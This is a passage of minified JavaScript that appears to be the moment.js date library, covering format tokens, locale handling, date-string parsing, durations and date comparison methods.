this.hours()||24}),s("hmm",0,0,function(){return""+st.apply(this)+r(this.minutes(),2)}),s("hmmss",0,0,function(){return""+st.apply(this)+r(this.minutes(),2)+r(this.seconds(),2)}),s("Hmm",0,0,function(){return""+this.hours()+r(this.minutes(),2)}),s("Hmmss",0,0,function(){return""+this.hours()+r(this.minutes(),2)+r(this.seconds(),2)}),it("a",!0),it("A",!1),t("hour","h"),n("hour",13),v("a",rt),v("A",rt),v("H",p),v("h",p),v("k",p),v("HH",p,w),v("hh",p,w),v("kk",p,w),v("hmm",ge),v("hmmss",we),v("Hmm",ge),v("Hmmss",we),D(["H","HH"],x),D(["k","kk"],function(e,t,n){e=g(e);t[x]=24===e?0:e}),D(["a","A"],function(e,t,n){n._isPm=n._locale.isPM(e),n._meridiem=e}),D(["h","hh"],function(e,t,n){t[x]=g(e),m(n).bigHour=!0}),D("hmm",function(e,t,n){var s=e.length-2;t[x]=g(e.substr(0,s)),t[T]=g(e.substr(s)),m(n).bigHour=!0}),D("hmmss",function(e,t,n){var s=e.length-4,i=e.length-2;t[x]=g(e.substr(0,s)),t[T]=g(e.substr(s,2)),t[N]=g(e.substr(i)),m(n).bigHour=!0}),D("Hmm",function(e,t,n){var s=e.length-2;t[x]=g(e.substr(0,s)),t[T]=g(e.substr(s))}),D("Hmmss",function(e,t,n){var s=e.length-4,i=e.length-2;t[x]=g(e.substr(0,s)),t[T]=g(e.substr(s,2)),t[N]=g(e.substr(i))});k=de("Hours",!0);var at,ot={calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},longDateFormat:{LTS:"h:mm:ss A",LT:"h:mm A",L:"MM/DD/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"},invalidDate:"Invalid date",ordinal:"%d",dayOfMonthOrdinalParse:/\d{1,2}/,relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",w:"a week",ww:"%d weeks",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},months:Ce,monthsShort:Ue,week:{dow:0,doy:6},weekdays:Je,weekdaysMin:Xe,weekdaysShort:Qe,meridiemParse:/[ap]\.?m?\.?/i},R={},ut={};function lt(e){return e&&e.toLowerCase().replace("_","-")}function ht(e){for(var t,n,s,i,r=0;r<e.length;){for(t=(i=lt(e[r]).split("-")).length,n=(n=lt(e[r+1]))?n.split("-"):null;0<t;){if(s=dt(i.slice(0,t).join("-")))return s;if(n&&n.length>=t&&function(e,t){for(var n=Math.min(e.length,t.length),s=0;s<n;s+=1)if(e[s]!==t[s])return s;return n}(i,n)>=t-1)break;t--}r++}return at}function dt(t){var e;if(void 0===R[t]&&"undefined"!=typeof module&&module&&module.exports&&null!=t.match("^[^/\\\\]*$"))try{e=at._abbr,require("./locale/"+t),ct(e)}catch(e){R[t]=null}return R[t]}function ct(e,t){return e&&((t=o(t)?mt(e):ft(e,t))?at=t:"undefined"!=typeof console&&console.warn&&console.warn("Locale "+e+" not found. Did you forget to load it?")),at._abbr}function ft(e,t){if(null===t)return delete R[e],null;var n,s=ot;if(t.abbr=e,null!=R[e])Q("defineLocaleOverride","use moment.updateLocale(localeName, config) to change an existing locale. moment.defineLocale(localeName, config) should only be used for creating a new locale See http://momentjs.com/guides/#/warnings/define-locale/ for more info."),s=R[e]._config;else if(null!=t.parentLocale)if(null!=R[t.parentLocale])s=R[t.parentLocale]._config;else{if(null==(n=dt(t.parentLocale)))return ut[t.parentLocale]||(ut[t.parentLocale]=[]),ut[t.parentLocale].push({name:e,config:t}),null;s=n._config}return R[e]=new K(X(s,t)),ut[e]&&ut[e].forEach(function(e){ft(e.name,e.config)}),ct(e),R[e]}function mt(e){var t;if(!(e=e&&e._locale&&e._locale._abbr?e._locale._abbr:e))return at;if(!a(e)){if(t=dt(e))return t;e=[e]}return ht(e)}function _t(e){var t=e._a;return t&&-2===m(e).overflow&&(t=t[O]<0||11<t[O]?O:t[b]<1||t[b]>We(t[Y],t[O])?b:t[x]<0||24<t[x]||24===t[x]&&(0!==t[T]||0!==t[N]||0!==t[Ne])?x:t[T]<0||59<t[T]?T:t[N]<0||59<t[N]?N:t[Ne]<0||999<t[Ne]?Ne:-1,m(e)._overflowDayOfYear&&(t<Y||b<t)&&(t=b),m(e)._overflowWeeks&&-1===t&&(t=Pe),m(e)._overflowWeekday&&-1===t&&(t=Re),m(e).overflow=t),e}var yt=/^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([+-]\d\d(?::?\d\d)?|\s*Z)?)?$/,gt=/^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d|))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([+-]\d\d(?::?\d\d)?|\s*Z)?)?$/,wt=/Z|[+-]\d\d(?::?\d\d)?/,pt=[["YYYYYY-MM-DD",/[+-]\d{6}-\d\d-\d\d/],["YYYY-MM-DD",/\d{4}-\d\d-\d\d/],["GGGG-[W]WW-E",/\d{4}-W\d\d-\d/],["GGGG-[W]WW",/\d{4}-W\d\d/,!1],["YYYY-DDD",/\d{4}-\d{3}/],["YYYY-MM",/\d{4}-\d\d/,!1],["YYYYYYMMDD",/[+-]\d{10}/],["YYYYMMDD",/\d{8}/],["GGGG[W]WWE",/\d{4}W\d{3}/],["GGGG[W]WW",/\d{4}W\d{2}/,!1],["YYYYDDD",/\d{7}/],["YYYYMM",/\d{6}/,!1],["YYYY",/\d{4}/,!1]],kt=[["HH:mm:ss.SSSS",/\d\d:\d\d:\d\d\.\d+/],["HH:mm:ss,SSSS",/\d\d:\d\d:\d\d,\d+/],["HH:mm:ss",/\d\d:\d\d:\d\d/],["HH:mm",/\d\d:\d\d/],["HHmmss.SSSS",/\d\d\d\d\d\d\.\d+/],["HHmmss,SSSS",/\d\d\d\d\d\d,\d+/],["HHmmss",/\d\d\d\d\d\d/],["HHmm",/\d\d\d\d/],["HH",/\d\d/]],vt=/^\/?Date\((-?\d+)/i,Mt=/^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/,Dt={UT:0,GMT:0,EDT:-240,EST:-300,CDT:-300,CST:-360,MDT:-360,MST:-420,PDT:-420,PST:-480};function St(e){var t,n,s,i,r,a,o=e._i,u=yt.exec(o)||gt.exec(o),o=pt.length,l=kt.length;if(u){for(m(e).iso=!0,t=0,n=o;t<n;t++)if(pt[t][1].exec(u[1])){i=pt[t][0],s=!1!==pt[t][2];break}if(null==i)e._isValid=!1;else{if(u[3]){for(t=0,n=l;t<n;t++)if(kt[t][1].exec(u[3])){r=(u[2]||" ")+kt[t][0];break}if(null==r)return void(e._isValid=!1)}if(s||null==r){if(u[4]){if(!wt.exec(u[4]))return void(e._isValid=!1);a="Z"}e._f=i+(r||"")+(a||""),Tt(e)}else e._isValid=!1}}else e._isValid=!1}function Yt(e,t,n,s,i,r){e=[function(e){e=parseInt(e,10);{if(e<=49)return 2e3+e;if(e<=999)return 1900+e}return e}(e),Ue.indexOf(t),parseInt(n,10),parseInt(s,10),parseInt(i,10)];return r&&e.push(parseInt(r,10)),e}function Ot(e){var t,n,s,i,r=Mt.exec(e._i.replace(/\([^()]*\)|[\n\t]/g," ").replace(/(\s\s+)/g," ").replace(/^\s\s*/,"").replace(/\s\s*$/,""));r?(t=Yt(r[4],r[3],r[2],r[5],r[6],r[7]),n=r[1],s=t,i=e,n&&Qe.indexOf(n)!==new Date(s[0],s[1],s[2]).getDay()?(m(i).weekdayMismatch=!0,i._isValid=!1):(e._a=t,e._tzm=(n=r[8],s=r[9],i=r[10],n?Dt[n]:s?0:60*(((n=parseInt(i,10))-(s=n%100))/100)+s),e._d=Ze.apply(null,e._a),e._d.setUTCMinutes(e._d.getUTCMinutes()-e._tzm),m(e).rfc2822=!0)):e._isValid=!1}function bt(e,t,n){return null!=e?e:null!=t?t:n}function xt(e){var t,n,s,i,r,a,o,u,l,h,d,c=[];if(!e._d){for(s=e,i=new Date(f.now()),n=s._useUTC?[i.getUTCFullYear(),i.getUTCMonth(),i.getUTCDate()]:[i.getFullYear(),i.getMonth(),i.getDate()],e._w&&null==e._a[b]&&null==e._a[O]&&(null!=(i=(s=e)._w).GG||null!=i.W||null!=i.E?(u=1,l=4,r=bt(i.GG,s._a[Y],qe(W(),1,4).year),a=bt(i.W,1),((o=bt(i.E,1))<1||7<o)&&(h=!0)):(u=s._locale._week.dow,l=s._locale._week.doy,d=qe(W(),u,l),r=bt(i.gg,s._a[Y],d.year),a=bt(i.w,d.week),null!=i.d?((o=i.d)<0||6<o)&&(h=!0):null!=i.e?(o=i.e+u,(i.e<0||6<i.e)&&(h=!0)):o=u),a<1||a>P(r,u,l)?m(s)._overflowWeeks=!0:null!=h?m(s)._overflowWeekday=!0:(d=$e(r,a,o,u,l),s._a[Y]=d.year,s._dayOfYear=d.dayOfYear)),null!=e._dayOfYear&&(i=bt(e._a[Y],n[Y]),(e._dayOfYear>Ae(i)||0===e._dayOfYear)&&(m(e)._overflowDayOfYear=!0),h=Ze(i,0,e._dayOfYear),e._a[O]=h.getUTCMonth(),e._a[b]=h.getUTCDate()),t=0;t<3&&null==e._a[t];++t)e._a[t]=c[t]=n[t];for(;t<7;t++)e._a[t]=c[t]=null==e._a[t]?2===t?1:0:e._a[t];24===e._a[x]&&0===e._a[T]&&0===e._a[N]&&0===e._a[Ne]&&(e._nextDay=!0,e._a[x]=0),e._d=(e._useUTC?Ze:je).apply(null,c),r=e._useUTC?e._d.getUTCDay():e._d.getDay(),null!=e._tzm&&e._d.setUTCMinutes(e._d.getUTCMinutes()-e._tzm),e._nextDay&&(e._a[x]=24),e._w&&void 0!==e._w.d&&e._w.d!==r&&(m(e).weekdayMismatch=!0)}}function Tt(e){if(e._f===f.ISO_8601)St(e);else if(e._f===f.RFC_2822)Ot(e);else{e._a=[],m(e).empty=!0;for(var t,n,s,i,r,a=""+e._i,o=a.length,u=0,l=ae(e._f,e._locale).match(te)||[],h=l.length,d=0;d<h;d++)n=l[d],(t=(a.match(Oe(n,e))||[])[0])&&(0<(s=a.substr(0,a.indexOf(t))).length&&m(e).unusedInput.push(s),a=a.slice(a.indexOf(t)+t.length),u+=t.length),ie[n]?(t?m(e).empty=!1:m(e).unusedTokens.push(n),s=n,r=e,null!=(i=t)&&c(xe,s)&&xe[s](i,r._a,r,s)):e._strict&&!t&&m(e).unusedTokens.push(n);m(e).charsLeftOver=o-u,0<a.length&&m(e).unusedInput.push(a),e._a[x]<=12&&!0===m(e).bigHour&&0<e._a[x]&&(m(e).bigHour=void 0),m(e).parsedDateParts=e._a.slice(0),m(e).meridiem=e._meridiem,e._a[x]=function(e,t,n){if(null==n)return t;return null!=e.meridiemHour?e.meridiemHour(t,n):null!=e.isPM?((e=e.isPM(n))&&t<12&&(t+=12),t=e||12!==t?t:0):t}(e._locale,e._a[x],e._meridiem),null!==(o=m(e).era)&&(e._a[Y]=e._locale.erasConvertYear(o,e._a[Y])),xt(e),_t(e)}}function Nt(e){var t,n,s,i=e._i,r=e._f;if(e._locale=e._locale||mt(e._l),null===i||void 0===r&&""===i)return I({nullInput:!0});if("string"==typeof i&&(e._i=i=e._locale.preparse(i)),h(i))return new q(_t(i));if(V(i))e._d=i;else if(a(r))!function(e){var t,n,s,i,r,a,o=!1,u=e._f.length;if(0===u)return m(e).invalidFormat=!0,e._d=new Date(NaN);for(i=0;i<u;i++)r=0,a=!1,t=$({},e),null!=e._useUTC&&(t._useUTC=e._useUTC),t._f=e._f[i],Tt(t),A(t)&&(a=!0),r=(r+=m(t).charsLeftOver)+10*m(t).unusedTokens.length,m(t).score=r,o?r<s&&(s=r,n=t):(null==s||r<s||a)&&(s=r,n=t,a&&(o=!0));E(e,n||t)}(e);else if(r)Tt(e);else if(o(r=(i=e)._i))i._d=new Date(f.now());else V(r)?i._d=new Date(r.valueOf()):"string"==typeof r?(n=i,null!==(t=vt.exec(n._i))?n._d=new Date(+t[1]):(St(n),!1===n._isValid&&(delete n._isValid,Ot(n),!1===n._isValid&&(delete n._isValid,n._strict?n._isValid=!1:f.createFromInputFallback(n))))):a(r)?(i._a=G(r.slice(0),function(e){return parseInt(e,10)}),xt(i)):F(r)?(t=i)._d||(s=void 0===(n=ue(t._i)).day?n.date:n.day,t._a=G([n.year,n.month,s,n.hour,n.minute,n.second,n.millisecond],function(e){return e&&parseInt(e,10)}),xt(t)):u(r)?i._d=new Date(r):f.createFromInputFallback(i);return A(e)||(e._d=null),e}function Pt(e,t,n,s,i){var r={};return!0!==t&&!1!==t||(s=t,t=void 0),!0!==n&&!1!==n||(s=n,n=void 0),(F(e)&&L(e)||a(e)&&0===e.length)&&(e=void 0),r._isAMomentObject=!0,r._useUTC=r._isUTC=i,r._l=n,r._i=e,r._f=t,r._strict=s,(i=new q(_t(Nt(i=r))))._nextDay&&(i.add(1,"d"),i._nextDay=void 0),i}function W(e,t,n,s){return Pt(e,t,n,s,!1)}f.createFromInputFallback=e("value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are discouraged. Please refer to http://momentjs.com/guides/#/warnings/js-date/ for more info.",function(e){e._d=new Date(e._i+(e._useUTC?" UTC":""))}),f.ISO_8601=function(){},f.RFC_2822=function(){};ge=e("moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/",function(){var e=W.apply(null,arguments);return this.isValid()&&e.isValid()?e<this?this:e:I()}),we=e("moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/",function(){var e=W.apply(null,arguments);return this.isValid()&&e.isValid()?this<e?this:e:I()});function Rt(e,t){var n,s;if(!(t=1===t.length&&a(t[0])?t[0]:t).length)return W();for(n=t[0],s=1;s<t.length;++s)t[s].isValid()&&!t[s][e](n)||(n=t[s]);return n}var Wt=["year","quarter","month","week","day","hour","minute","second","millisecond"];function Ct(e){var e=ue(e),t=e.year||0,n=e.quarter||0,s=e.month||0,i=e.week||e.isoWeek||0,r=e.day||0,a=e.hour||0,o=e.minute||0,u=e.second||0,l=e.millisecond||0;this._isValid=function(e){var t,n,s=!1,i=Wt.length;for(t in e)if(c(e,t)&&(-1===S.call(Wt,t)||null!=e[t]&&isNaN(e[t])))return!1;for(n=0;n<i;++n)if(e[Wt[n]]){if(s)return!1;parseFloat(e[Wt[n]])!==g(e[Wt[n]])&&(s=!0)}return!0}(e),this._milliseconds=+l+1e3*u+6e4*o+1e3*a*60*60,this._days=+r+7*i,this._months=+s+3*n+12*t,this._data={},this._locale=mt(),this._bubble()}function Ut(e){return e instanceof Ct}function Ht(e){return e<0?-1*Math.round(-1*e):Math.round(e)}function Ft(e,n){s(e,0,0,function(){var e=this.utcOffset(),t="+";return e<0&&(e=-e,t="-"),t+r(~~(e/60),2)+n+r(~~e%60,2)})}Ft("Z",":"),Ft("ZZ",""),v("Z",Ye),v("ZZ",Ye),D(["Z","ZZ"],function(e,t,n){n._useUTC=!0,n._tzm=Vt(Ye,e)});var Lt=/([\+\-]|\d\d)/gi;function Vt(e,t){var t=(t||"").match(e);return null===t?null:0===(t=60*(e=((t[t.length-1]||[])+"").match(Lt)||["-",0,0])[1]+g(e[2]))?0:"+"===e[0]?t:-t}function Gt(e,t){var n;return t._isUTC?(t=t.clone(),n=(h(e)||V(e)?e:W(e)).valueOf()-t.valueOf(),t._d.setTime(t._d.valueOf()+n),f.updateOffset(t,!1),t):W(e).local()}function Et(e){return-Math.round(e._d.getTimezoneOffset())}function At(){return!!this.isValid()&&(this._isUTC&&0===this._offset)}f.updateOffset=function(){};var It=/^(-|\+)?(?:(\d*)[. ])?(\d+):(\d+)(?::(\d+)(\.\d*)?)?$/,jt=/^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/;function C(e,t){var n,s=e,i=null;return Ut(e)?s={ms:e._milliseconds,d:e._days,M:e._months}:u(e)||!isNaN(+e)?(s={},t?s[t]=+e:s.milliseconds=+e):(i=It.exec(e))?(n="-"===i[1]?-1:1,s={y:0,d:g(i[b])*n,h:g(i[x])*n,m:g(i[T])*n,s:g(i[N])*n,ms:g(Ht(1e3*i[Ne]))*n}):(i=jt.exec(e))?(n="-"===i[1]?-1:1,s={y:Zt(i[2],n),M:Zt(i[3],n),w:Zt(i[4],n),d:Zt(i[5],n),h:Zt(i[6],n),m:Zt(i[7],n),s:Zt(i[8],n)}):null==s?s={}:"object"==typeof s&&("from"in s||"to"in s)&&(t=function(e,t){var n;if(!e.isValid()||!t.isValid())return{milliseconds:0,months:0};t=Gt(t,e),e.isBefore(t)?n=zt(e,t):((n=zt(t,e)).milliseconds=-n.milliseconds,n.months=-n.months);return n}(W(s.from),W(s.to)),(s={}).ms=t.milliseconds,s.M=t.months),i=new Ct(s),Ut(e)&&c(e,"_locale")&&(i._locale=e._locale),Ut(e)&&c(e,"_isValid")&&(i._isValid=e._isValid),i}function Zt(e,t){e=e&&parseFloat(e.replace(",","."));return(isNaN(e)?0:e)*t}function zt(e,t){var n={};return n.months=t.month()-e.month()+12*(t.year()-e.year()),e.clone().add(n.months,"M").isAfter(t)&&--n.months,n.milliseconds=+t-+e.clone().add(n.months,"M"),n}function $t(s,i){return function(e,t){var n;return null===t||isNaN(+t)||(Q(i,"moment()."+i+"(period, number) is deprecated. Please use moment()."+i+"(number, period). See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info."),n=e,e=t,t=n),qt(this,C(e,t),s),this}}function qt(e,t,n,s){var i=t._milliseconds,r=Ht(t._days),t=Ht(t._months);e.isValid()&&(s=null==s||s,t&&Ve(e,ce(e,"Month")+t*n),r&&fe(e,"Date",ce(e,"Date")+r*n),i&&e._d.setTime(e._d.valueOf()+i*n),s&&f.updateOffset(e,r||t))}C.fn=Ct.prototype,C.invalid=function(){return C(NaN)};Ce=$t(1,"add"),Je=$t(-1,"subtract");function Bt(e){return"string"==typeof e||e instanceof String}function Jt(e){return h(e)||V(e)||Bt(e)||u(e)||function(t){var e=a(t),n=!1;e&&(n=0===t.filter(function(e){return!u(e)&&Bt(t)}).length);return e&&n}(e)||function(e){var t,n,s=F(e)&&!L(e),i=!1,r=["years","year","y","months","month","M","days","day","d","dates","date","D","hours","hour","h","minutes","minute","m","seconds","second","s","milliseconds","millisecond","ms"],a=r.length;for(t=0;t<a;t+=1)n=r[t],i=i||c(e,n);return s&&i}(e)||null==e}function Qt(e,t){if(e.date()<t.date())return-Qt(t,e);var n=12*(t.year()-e.year())+(t.month()-e.month()),s=e.clone().add(n,"months"),t=t-s<0?(t-s)/(s-e.clone().add(n-1,"months")):(t-s)/(e.clone().add(1+n,"months")-s);return-(n+t)||0}function Xt(e){return void 0===e?this._locale._abbr:(null!=(e=mt(e))&&(this._locale=e),this)}f.defaultFormat="YYYY-MM-DDTHH:mm:ssZ",f.defaultFormatUtc="YYYY-MM-DDTHH:mm:ss[Z]";Xe=e("moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.",function(e){return void 0===e?this.localeData():this.locale(e)});function Kt(){return this._locale}var en=126227808e5;function tn(e,t){return(e%t+t)%t}function nn(e,t,n){return e<100&&0<=e?new Date(e+400,t,n)-en:new Date(e,t,n).valueOf()}function sn(e,t,n){return e<100&&0<=e?Date.UTC(e+400,t,n)-en:Date.UTC(e,t,n)}function rn(e,t){return t.erasAbbrRegex(e)}function an(){for(var e=[],t=[],n=[],s=[],i=this.eras(),r=0,a=i.length;r<a;++r)t.push(M(i[r].name)),e.push(M(i[r].abbr)),n.push(M(i[r].narrow)),s.push(M(i[r].name)),s.push(M(i[r].abbr)),s.push(M(i[r].narrow));this._erasRegex=new RegExp("^("+s.join("|")+")","i"),this._erasNameRegex=new RegExp("^("+t.join("|")+")","i"),this._erasAbbrRegex=new RegExp("^("+e.join("|")+")","i"),this._erasNarrowRegex=new RegExp("^("+n.join("|")+")","i")}function on(e,t){s(0,[e,e.length],0,t)}function un(e,t,n,s,i){var r;return null==e?qe(this,s,i).year:(r=P(e,s,i),function(e,t,n,s,i){e=$e(e,t,n,s,i),t=Ze(e.year,0,e.dayOfYear);return this.year(t.getUTCFullYear()),this.month(t.getUTCMonth()),this.date(t.getUTCDate()),this}.call(this,e,t=r<t?r:t,n,s,i))}s("N",0,0,"eraAbbr"),s("NN",0,0,"eraAbbr"),s("NNN",0,0,"eraAbbr"),s("NNNN",0,0,"eraName"),s("NNNNN",0,0,"eraNarrow"),s("y",["y",1],"yo","eraYear"),s("y",["yy",2],0,"eraYear"),s("y",["yyy",3],0,"eraYear"),s("y",["yyyy",4],0,"eraYear"),v("N",rn),v("NN",rn),v("NNN",rn),v("NNNN",function(e,t){return t.erasNameRegex(e)}),v("NNNNN",function(e,t){return t.erasNarrowRegex(e)}),D(["N","NN","NNN","NNNN","NNNNN"],function(e,t,n,s){s=n._locale.erasParse(e,s,n._strict);s?m(n).era=s:m(n).invalidEra=e}),v("y",Me),v("yy",Me),v("yyy",Me),v("yyyy",Me),v("yo",function(e,t){return t._eraYearOrdinalRegex||Me}),D(["y","yy","yyy","yyyy"],Y),D(["yo"],function(e,t,n,s){var i;n._locale._eraYearOrdinalRegex&&(i=e.match(n._locale._eraYearOrdinalRegex)),n._locale.eraYearOrdinalParse?t[Y]=n._locale.eraYearOrdinalParse(e,i):t[Y]=parseInt(e,10)}),s(0,["gg",2],0,function(){return this.weekYear()%100}),s(0,["GG",2],0,function(){return this.isoWeekYear()%100}),on("gggg","weekYear"),on("ggggg","weekYear"),on("GGGG","isoWeekYear"),on("GGGGG","isoWeekYear"),t("weekYear","gg"),t("isoWeekYear","GG"),n("weekYear",1),n("isoWeekYear",1),v("G",De),v("g",De),v("GG",p,w),v("gg",p,w),v("GGGG",ke,_e),v("gggg",ke,_e),v("GGGGG",ve,ye),v("ggggg",ve,ye),Te(["gggg","ggggg","GGGG","GGGGG"],function(e,t,n,s){t[s.substr(0,2)]=g(e)}),Te(["gg","GG"],function(e,t,n,s){t[s]=f.parseTwoDigitYear(e)}),s("Q",0,"Qo","quarter"),t("quarter","Q"),n("quarter",7),v("Q",i),D("Q",function(e,t){t[O]=3*(g(e)-1)}),s("D",["DD",2],"Do","date"),t("date","D"),n("date",9),v("D",p),v("DD",p,w),v("Do",function(e,t){return e?t._dayOfMonthOrdinalParse||t._ordinalParse:t._dayOfMonthOrdinalParseLenient}),D(["D","DD"],b),D("Do",function(e,t){t[b]=g(e.match(p)[0])});ke=de("Date",!0);s("DDD",["DDDD",3],"DDDo","dayOfYear"),t("dayOfYear","DDD"),n("dayOfYear",4),v("DDD",pe),v("DDDD",me),D(["DDD","DDDD"],function(e,t,n){n._dayOfYear=g(e)}),s("m",["mm",2],0,"minute"),t("minute","m"),n("minute",14),v("m",p),v("mm",p,w),D(["m","mm"],T);var ln,_e=de("Minutes",!1),ve=(s("s",["ss",2],0,"second"),t("second","s"),n("second",15),v("s",p),v("ss",p,w),D(["s","ss"],N),de("Seconds",!1));for(s("S",0,0,function(){return~~(this.millisecond()/100)}),s(0,["SS",2],0,function(){return~~(this.millisecond()/10)}),s(0,["SSS",3],0,"millisecond"),s(0,["SSSS",4],0,function(){return 10*this.millisecond()}),s(0,["SSSSS",5],0,function(){return 100*this.millisecond()}),s(0,["SSSSSS",6],0,function(){return 1e3*this.millisecond()}),s(0,["SSSSSSS",7],0,function(){return 1e4*this.millisecond()}),s(0,["SSSSSSSS",8],0,function(){return 1e5*this.millisecond()}),s(0,["SSSSSSSSS",9],0,function(){return 1e6*this.millisecond()}),t("millisecond","ms"),n("millisecond",16),v("S",pe,i),v("SS",pe,w),v("SSS",pe,me),ln="SSSS";ln.length<=9;ln+="S")v(ln,Me);function hn(e,t){t[Ne]=g(1e3*("0."+e))}for(ln="S";ln.length<=9;ln+="S")D(ln,hn);ye=de("Milliseconds",!1),s("z",0,0,"zoneAbbr"),s("zz",0,0,"zoneName");i=q.prototype;function dn(e){return e}i.add=Ce,i.calendar=function(e,t){1===arguments.length&&(arguments[0]?Jt(arguments[0])?(e=arguments[0],t=void 0):function(e){for(var t=F(e)&&!L(e),n=!1,s=["sameDay","nextDay","lastDay","nextWeek","lastWeek","sameElse"],i=0;i<s.length;i+=1)n=n||c(e,s[i]);return t&&n}(arguments[0])&&(t=arguments[0],e=void 0):t=e=void 0);var e=e||W(),n=Gt(e,this).startOf("day"),n=f.calendarFormat(this,n)||"sameElse",t=t&&(d(t[n])?t[n].call(this,e):t[n]);return this.format(t||this.localeData().calendar(n,this,W(e)))},i.clone=function(){return new q(this)},i.diff=function(e,t,n){var s,i,r;if(!this.isValid())return NaN;if(!(s=Gt(e,this)).isValid())return NaN;switch(i=6e4*(s.utcOffset()-this.utcOffset()),t=_(t)){case"year":r=Qt(this,s)/12;break;case"month":r=Qt(this,s);break;case"quarter":r=Qt(this,s)/3;break;case"second":r=(this-s)/1e3;break;case"minute":r=(this-s)/6e4;break;case"hour":r=(this-s)/36e5;break;case"day":r=(this-s-i)/864e5;break;case"week":r=(this-s-i)/6048e5;break;default:r=this-s}return n?r:y(r)},i.endOf=function(e){var t,n;if(void 0===(e=_(e))||"millisecond"===e||!this.isValid())return this;switch(n=this._isUTC?sn:nn,e){case"year":t=n(this.year()+1,0,1)-1;break;case"quarter":t=n(this.year(),this.month()-this.month()%3+3,1)-1;break;case"month":t=n(this.year(),this.month()+1,1)-1;break;case"week":t=n(this.year(),this.month(),this.date()-this.weekday()+7)-1;break;case"isoWeek":t=n(this.year(),this.month(),this.date()-(this.isoWeekday()-1)+7)-1;break;case"day":case"date":t=n(this.year(),this.month(),this.date()+1)-1;break;case"hour":t=this._d.valueOf(),t+=36e5-tn(t+(this._isUTC?0:6e4*this.utcOffset()),36e5)-1;break;case"minute":t=this._d.valueOf(),t+=6e4-tn(t,6e4)-1;break;case"second":t=this._d.valueOf(),t+=1e3-tn(t,1e3)-1;break}return this._d.setTime(t),f.updateOffset(this,!0),this},i.format=function(e){return e=e||(this.isUtc()?f.defaultFormatUtc:f.defaultFormat),e=re(this,e),this.localeData().postformat(e)},i.from=function(e,t){return this.isValid()&&(h(e)&&e.isValid()||W(e).isValid())?C({to:this,from:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},i.fromNow=function(e){return this.from(W(),e)},i.to=function(e,t){return this.isValid()&&(h(e)&&e.isValid()||W(e).isValid())?C({from:this,to:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},i.toNow=function(e){return this.to(W(),e)},i.get=function(e){return d(this[e=_(e)])?this[e]():this},i.invalidAt=function(){return m(this).overflow},i.isAfter=function(e,t){return e=h(e)?e:W(e),!(!this.isValid()||!e.isValid())&&("millisecond"===(t=_(t)||"millisecond")?this.valueOf()>e.valueOf():e.valueOf()<this.clone().startOf(t).valueOf())},i.isBefore=function(e,t){return e=h(e)?e:W(e),!(!this.isValid()||!e.isValid())&&("millisecond"===(t=_(t)||"millisecond")?this.valueOf()<e.valueOf():this.clone().endOf(t).valueOf()<e.valueOf())},i.isBetween=function(e,t,n,s){return e=h(e)?e:W(e),t=h(t)?t:W(t),!!(this.isValid()&&e.isValid()&&t.isValid())&&(("("===(s=s||"()")[0]?this.isAfter(e,n):!this.isBefore(e,n))&&(")"===s[1]?this.isBefore(t,n):!this.isAfter(t,n)))},i.isSame=function(e,t){var e=h(e)?e:W(e);return!(!this.isValid()||!e.isValid())&&("millisecond"===(t=_(t)||"millisecond")?this.valueOf()===e.valueOf():(e=e.valueOf(),this.clone().startOf(t).valueOf()<=e&&e<=this.clone().endOf(t).valueOf()))},i.isSameOrAfter=function(e,t){return this.isSame(e,t)||this.isAfter(e,t)},i.isSameOrBefore=function(e,t){return this.isSame(e,t)||this.isBefore(e,t)},i.isValid=function(){return A(this)},i.lang=Xe,i.locale=Xt,i.localeData=Kt,i.max=we,i.min=ge,i.parsingFlags=function(){return E({},m(this))},i.set=function(e,t){if("object"==typeof e)for(var n=function(e){var t,n=[];for(t in e)c(e,t)&&n.push({unit:t,priority:le[t]});return n.sort(function(e,t){return e.priority-t.priority}),n}(e=ue(e)),s=n.length,i=0;i<s;i++)this[n[i].unit](e[n[i].unit]);else if(d(this[e=_(e)]))return this[e](t);return this},i.startOf=function(e){var t,n;if(void 0===(e=_(e))||"millisecond"===e||!this.isValid())return 